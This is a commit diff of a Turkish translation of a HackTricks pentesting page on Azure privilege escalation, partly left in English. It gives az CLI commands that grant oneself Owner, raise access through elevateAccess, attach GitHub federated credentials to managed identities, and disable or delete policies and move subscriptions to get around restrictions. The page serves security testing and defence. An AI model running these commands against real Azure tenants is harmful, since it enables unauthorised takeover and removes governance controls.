mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+99
-9
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,16 +12,16 @@ Daha fazla bilgi için kontrol edin:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Bu izin, belirli bir kapsamda prensiplere roller atamaya olanak tanır ve bir saldırganın kendisine daha yetkili bir rol atayarak ayrıcalıkları artırmasına izin verir:
|
||||
Bu izin, belirli bir scope üzerinde principal'lara rol ataması yapılmasına izin verir; bu, bir saldırganın kendine daha ayrıcalıklı bir rol atayarak yetkilerini yükseltmesine olanak tanır:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Bu izin, bir rol tarafından verilen izinleri değiştirmeye olanak tanır ve bir saldırganın atadığı bir role daha fazla izin vererek ayrıcalıkları artırmasına olanak tanır.
|
||||
Bu izin, bir role verilen izinleri değiştirmeye olanak tanır; bu da bir attacker'ın atadığı role daha fazla izin vererek escalate privileges gerçekleştirmesine olanak sağlar.
|
||||
|
||||
Aşağıdaki **içerikle** `role.json` dosyasını oluşturun:
|
||||
Create the file `role.json` with the following **içerik**:
|
||||
```json
|
||||
{
|
||||
"roleName": "<name of the role>",
|
||||
@@ -36,16 +36,16 @@ Aşağıdaki **içerikle** `role.json` dosyasını oluşturun:
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Sonra rol izinlerini önceki tanımla güncelleyin:
|
||||
Daha sonra rol izinlerini önceki tanımlamayı çağırarak güncelleyin:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Bu izin, ayrıcalıkları yükseltmeye ve Azure kaynaklarına herhangi bir ilkeye izin atamaya olanak tanır. Bu, Entra ID Küresel Yöneticilerine verilmesi amaçlanmıştır, böylece Azure kaynakları üzerindeki izinleri de yönetebilirler.
|
||||
Bu izin, ayrıcalıkları yükseltmeye ve herhangi bir principal'e Azure resources üzerinde izin atamaya olanak tanır. Bu, Entra ID Global Administrators'a verilmek üzere tasarlanmıştır; böylece onlar Azure resources üzerindeki izinleri de yönetebilirler.
|
||||
|
||||
> [!TIP]
|
||||
> Yükseltme çağrısının çalışması için kullanıcının Entra ID'de Küresel Yönetici olması gerektiğini düşünüyorum.
|
||||
> Sanırım kullanıcının elevate çağrısının çalışması için Entra ID'de Global Administrator olması gerekiyor.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Bu izin, yönetilen kimliklere Federated kimlik bilgileri eklemeye olanak tanır. Örneğin, bir depodaki Github Actions'a bir yönetilen kimliğe erişim vermek. Ardından, **herhangi bir kullanıcı tanımlı yönetilen kimliğe** erişim sağlar.
|
||||
Bu izin, managed identities'e Federated credentials eklemeyi sağlar. Örneğin bir Github repo'sundaki Github Actions'a bir managed identity için erişim vermek. Sonuç olarak, **herhangi bir kullanıcı tarafından tanımlanmış managed identity'ye erişim** sağlar.
|
||||
|
||||
Yönetilen bir kimliğe Github'daki bir depoya erişim vermek için örnek komut:
|
||||
Bir Github repo'suna bir managed identity'ye erişim vermek için örnek komut:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Bir saldırgan, management group, subscription veya resource group üzerinde `Microsoft.Authorization/policyAssignments/write` veya `Microsoft.Authorization/policyAssignments/delete` iznine sahipse, belirli işlemleri engelleyen güvenlik kısıtlamalarını **devre dışı bırakma** ihtimaliyle **Azure policy assignments**'ı değiştirebilir veya silebilir.
|
||||
|
||||
Bu, daha önce politika tarafından korunan kaynaklara veya işlevselliklere erişim sağlar.
|
||||
|
||||
**Delete a policy assignment:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Bir politika atamasını devre dışı bırak:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Değişiklikleri doğrulayın:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
İzin `Microsoft.Authorization/policyDefinitions/write` olan bir saldırgan, **Azure policy tanımlarını değiştirebilir**, ortam genelindeki güvenlik kısıtlamalarını kontrol eden kuralları değiştirerek.
|
||||
|
||||
Örneğin, kaynak oluşturma için izin verilen bölgeleri kısıtlayan bir policy tanımı, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy etkisi (effect) değiştirilerek etkisiz hale getirilebilir.
|
||||
|
||||
**Bir policy tanımını değiştir:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Değişiklikleri doğrulayın:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Bu izne (`Microsoft.Management/managementGroups/write`) sahip bir saldırgan, **yönetim gruplarının hiyerarşik yapısını değiştirebilir** veya **yeni yönetim grupları oluşturabilir**, böylece üst seviyelerde uygulanan kısıtlayıcı politikalardan kaçabilir.
|
||||
|
||||
Örneğin, bir saldırgan kısıtlayıcı politikaların olmadığı yeni bir yönetim grubu oluşturabilir ve ardından abonelikleri buraya taşıyabilir.
|
||||
|
||||
**Yeni bir yönetim grubu oluştur:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Yönetim grubu hiyerarşisini değiştir:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Değişiklikleri doğrulayın:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Bu izne (`Microsoft.Management/managementGroups/subscriptions/write`) sahip bir saldırgan, abonelikleri yönetim grupları arasında **taşıyabilir**, aboneliği daha az kısıtlayıcı veya hiç politika olmayan bir gruba taşıyarak potansiyel olarak **kısıtlayıcı politikalardan kaçınabilir**.
|
||||
|
||||
**Aboneliği farklı bir yönetim grubuna taşıma:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Değişiklikleri doğrulayın:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user